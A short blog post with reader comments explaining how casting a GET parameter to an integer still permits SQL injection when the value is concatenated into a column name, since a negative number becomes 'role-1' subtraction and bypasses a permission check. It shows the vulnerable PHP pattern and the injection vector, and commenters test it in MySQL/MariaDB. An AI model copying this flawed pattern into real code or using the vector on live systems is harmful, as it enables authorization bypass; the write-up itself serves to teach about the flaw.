понедельник, 13 мая 2013 г.

When Integer cannot protect you from SQL injection?

It is assumed that the cast user data to a numeric type is fully protected from SQL injection vulnerabilities.

Look at simple example:

$action = $_GET['do'];
$r=$db->query("select role".((int)$action)." from users where id=".((int)$_SESSION['user_id']));
if($row=$r->fetchArray()){
        if((int)$row[0]!==1){
                die('permission denied');
        }else{
                doAction($action);
        }
}


This code looks like SQLi protected, but it is not true.

Do not forget two obvious facts:
1. Minus is SQL operatator
2. Numbers can be negative

Now its easy to understand SQL logic in this case (w/o injection):

select role0 from users where id=0

And SQL injection attack vector in this case:

select role-1 from users where id=0


In our example attacker can bypass auth.
This example requires tables role and role0 both in database.

13 комментариев:

  1. Should the last sentence say "columns role and role0 both in the table users"?

    ОтветитьУдалить
  2. > describe us;
    +-------+------+------+-----+---------+-------+
    | Field | Type | Null | Key | Default | Extra |
    +-------+------+------+-----+---------+-------+
    | role0 | text | YES | | NULL | |
    | role1 | text | YES | | NULL | |
    | role | text | YES | | NULL | |
    +-------+------+------+-----+---------+-------+
    3 rows in set (0.04 sec)

    > select role-1 from us;
    +--------+
    | role-1 |
    +--------+
    | -1 |
    +--------+
    1 row in set (0.00 sec)


    array list
    0 => key
    0 => value (-1)

    $me=mysql_query("SELECT role-1 FROM us");
    $f=mysql_fetch_array($me);

    echo $f[0]; //output -1

    var_dump(-1!==1); //true

    dude failed


    in the second case



    snip___
    MariaDB [data]> select role+1 from us;
    +--------+
    | role+1 |
    +--------+
    | 1 |
    +--------+

    ОтветитьУдалить
    Ответы
    1. Этот комментарий был удален автором.

      Удалить
    2. Этот комментарий был удален автором.

      Удалить
  3. For Numeric type of columns role, role0...roleN of course :)

    ОтветитьУдалить
  4. The article fail vector
    But I wrote about it, see 8)

    ОтветитьУдалить
  5. What if just manually change the stupid value? I mean inline URL editing. In that case this isn't new. Not easy to exploit

    I think author want to show that u can't use critical values from frontend. I wouldn't use roles at least.

    ОтветитьУдалить
  6. Can't understand your post. This vector works well.

    And text columns obviously not about this.

    Just about minus as a SQL operator. Types of database columns which can be operated through minus depends from DB type. Test SQLite, for example.

    ОтветитьУдалить
  7. Этот комментарий был удален автором.

    ОтветитьУдалить
  8. Your text can be considered a case of

    MariaDB [data]> select role from us;
    +------+
    | role |
    +------+
    | 2 | => me row output 2
    +------+
    1 row in set (0.00 sec)


    ===============================


    auth bypassvector

    MariaDB [data]> select role-1 from us;
    +--------+
    | role-1 |
    +--------+
    | 1 |
    +--------+
    1 row in set (0.00 sec)


    output row => 1
    and bypass :)

    ОтветитьУдалить
  9. Этот комментарий был удален автором.

    ОтветитьУдалить
  10. I have created another example from this issue in #0x3004CTF. Check it:
    http://pastebin.com/JpKVpC2m :)

    ОтветитьУдалить